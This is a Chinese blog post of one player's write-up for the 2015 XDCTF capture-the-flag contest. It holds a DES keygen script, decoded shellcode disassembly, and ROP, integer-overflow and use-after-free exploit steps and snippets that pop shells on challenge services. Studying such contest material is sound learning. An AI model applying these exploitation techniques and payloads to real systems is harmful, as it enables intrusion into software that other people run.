2015年10月3日 星期六

XDCTF Writeup by shrek_wzw

Misc 100

根据提示下载braintools，编译后试了一下命令，braincopter。再下载https://github.com/hhhonzik/python-brainfuck，运行后就得到flag。

Reverse 100

有些坑，xor_key = “ZzAwZF9DcjRrM3JfZzBfb24=“。_fini_array中sub_400787才是得到flag的函数。最后反向处理后，得到的input是U’Re_AwEs0Me，再小写即可。

Reverse 200

patch二进制文件，0x401160 - 0x4011e0中的数据 xor 0x88，下断点，nop一些花指令。0x401160就是对输入的input进行对比，分了几个部分，一步步调试即可。最后得到flag是XDCTF{Congra_tUlat$eyOu}。

Reverse 500

发现使用的是DES，key和iv是”\x34\x45\x86\x99\x1a\x4b\xcd\xa5”。注册机：

```
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import sys
from Crypto.Cipher import DES

def enc(data):
    key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5"
    iv = key
    cipher = DES.new(key, DES.MODE_ECB, iv)
    return cipher.encrypt(data)

def key_gen(machine_code):
    tmp = machine_code[4:]
    tmp2 = machine_code[:4]
    m = tmp + tmp2
    key = m.decode("hex")
    t = ""
    for c in key:
        t += chr(ord(c) ^ 0xe4)
    t = t.ljust(24, "\x08")

    e = enc(t)
    print e.encode("hex")

if __name__ == "__main__":
    key_gen(sys.argv[1])
```

Pwn 100

打开后，发现有90909090和eb04的二进制数据，猜测包含shellcode。反编译后，可以看到，shellcode的解码部分如下，xor 0x7bd31f11。写脚本异或后，再运行调试器，即可看到“cmd.exe /c echo xdctf{d4_5h1_fu_d41_w0_f31} > c:\flag.txt && attrib c:\flag.txtp}”。

```
0x00000011   5              b8111fd37b  mov eax, 0x7bd31f11
0x00000016   4                d97424f4  fnstenv dword [esp - 0xc]
0x0000001a   1                      5b  pop ebx
0x0000001b   2                    2bc9  sub ecx, ecx
0x0000001d   2                    b143  mov cl, 0x43
0x0000001f   3                  31431a  xor dword [ebx + 0x1a], eax
0x00000022   3                  83ebfc  sub ebx, -4
0x00000025   3                  034316  add eax, dword [ebx + 0x16]
0x00000028   2                    e2e4  loop 0xe
0x0000002a   2                    e33b  jecxz 0x67
```

Pwn 200

sub_8048484中存在栈溢出，可以构造write_plt的rop泄漏got表中的函数地址。取__libc_start_main的地址，减去0x10970，然后暴力dump libc。从dump出的libc数据块中，找到system函数的特征字节，就得到system相对于__libc_start_main的偏移。

pwn的时候分为三步

（1）write_plt rop泄漏__libc_start_main的地址，然后计算得到system的地址

（2）read_plt rop读入”/bin/sh\x00”到0x804a014

（3）system rop后就得到shell。

Pwn 300

这题做过。MentalNote，writeup https://ctf-team.vulnhub.com/hackim-2015-exploit-400/，把以前的脚本里的Note全改成Girl就直接得到shell了。

Pwn 400

整形溢出，把payload中的大小的字段设为0xffff，代码中判断是0xffff + 2 -> 1，使得长度判断错误，输出得到flag。

```
python -c 'print "PK\x01\x02" + "B" * 24 + "\xff\xff" + "B"*16 + "C\x00" * 24' | nc 159.203.87.2 8888
```

Pwn 500

UAF，可以修改exam的函数指针，过程如下：

```
register(r, "aaaa", "bbbb")
take_exam(r, 1, "A"*104, 104)
show_score(r)
resit(r, 1)
take_exam(r, 2, "B"*104, 104)  // english block 和 math essay 在同一地址

printf_plt = 0x4009b0
payload = "%11$llX".ljust(24, "|")
payload += p64(printf_plt)
payload = payload.ljust(104, "C")
cheat(r, 1, payload)          // 修改math essay，就把english的函数指针给改了
show_score(r)                 // 这里用printf来泄漏栈信息
```

泄漏栈上的信息得到__libc_start_main中的返回地址，然后根据给的libc计算system的地址。本来是要用stack pivot跳转到我们输入的数据中，但是没找到合适的gadget。于是。。直接把函数指针设成了libc中的execv /bin/sh的偏移，运气好可以用，就得到shell了。